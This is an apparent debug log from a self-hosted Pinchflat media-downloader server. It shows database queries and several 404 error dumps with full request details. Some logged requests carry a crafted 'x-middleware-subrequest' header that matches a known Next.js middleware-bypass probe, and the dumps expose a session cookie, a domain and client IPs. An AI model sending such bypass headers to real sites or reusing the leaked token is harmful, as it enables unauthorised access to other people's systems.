/tmp/pinchflat/data/fd/86/fd86ef9800dce081b21d246dc51e19182e68d5c64bb962181209494b4c21ed8d.json --sleep-requests 61 --sleep-interval 86 --sleep-subtitles 68 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:49:00.415 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:01.597 [info] GET / 16:49:01.597 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:49:01.598 [debug] QUERY OK source="settings" db=0.1ms idle=1182.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:01.598 [debug] QUERY OK source="media_profiles" db=0.0ms idle=904.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:49:01.598 [debug] QUERY OK source="sources" db=0.0ms idle=904.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:49:01.626 [debug] QUERY OK source="media_items" db=27.7ms idle=904.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:49:01.629 [debug] QUERY OK source="media_items" db=3.6ms idle=683.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:49:01.630 [debug] QUERY OK source="settings" db=0.0ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:01.630 [debug] QUERY OK source="settings" db=0.0ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:01.630 [debug] QUERY OK source="settings" db=0.0ms idle=32.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:01.631 [debug] QUERY OK source="tasks" db=0.1ms idle=4.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:49:01.631 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [45, 6, 19] 16:49:01.635 [debug] QUERY OK source="media_items" db=3.8ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:49:01.635 [debug] QUERY OK source="media_items" db=0.1ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:49:01.636 [debug] QUERY OK source="sources" db=0.0ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?,?)) [12, 7, 9, 37, 14] 16:49:01.660 [debug] QUERY OK source="media_items" db=23.8ms idle=5.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:49:01.690 [debug] QUERY OK source="media_items" db=29.3ms idle=29.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:49:01.690 [debug] QUERY OK source="sources" db=0.1ms idle=54.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 16:49:01.691 [info] Sent 200 in 93ms 16:49:02.000 [info] GET /uhc2k3amqlxirex0xayn 16:49:02.000 [debug] QUERY OK source="settings" db=0.0ms idle=364.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.000 [debug] QUERY OK source="settings" db=0.0ms idle=339.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.000 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.000 [error] #PID<0.29439.0> running PinchflatWeb.Endpoint (connection #PID<0.29438.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /uhc2k3amqlxirex0xayn ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uhc2k3amqlxirex0xayn (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uhc2k3amqlxirex0xayn", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29439.0>, params: %{}, path_info: ["uhc2k3amqlxirex0xayn"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/uhc2k3amqlxirex0xayn", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61GmzeFZaYHwABvOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uhc2k3amqlxirex0xayn", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uhc2k3amqlxirex0xayn (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uhc2k3amqlxirex0xayn", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middle (truncated) 16:49:02.295 [info] GET /manifest.json 16:49:02.295 [debug] QUERY OK source="settings" db=0.1ms idle=605.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.295 [debug] QUERY OK source="settings" db=0.0ms idle=604.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.295 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.295 [error] #PID<0.29441.0> running PinchflatWeb.Endpoint (connection #PID<0.29440.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29440.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33052}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29441.0>, params: %{}, path_info: ["manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61HtMMTCW3bwABvOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29440.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33052}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: " (truncated) 16:49:02.409 [info] GET /dist/manifest.json 16:49:02.410 [debug] QUERY OK source="settings" db=0.0ms idle=466.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.410 [debug] QUERY OK source="settings" db=0.0ms idle=409.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.410 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.410 [info] POST / 16:49:02.410 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:02.410 [debug] QUERY OK source="settings" db=0.0ms idle=410.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.410 [debug] QUERY OK source="settings" db=0.1ms idle=115.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.410 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.410 [error] #PID<0.29443.0> running PinchflatWeb.Endpoint (connection #PID<0.29442.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dist/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29442.0>, port: 80, scheme: "http", version: 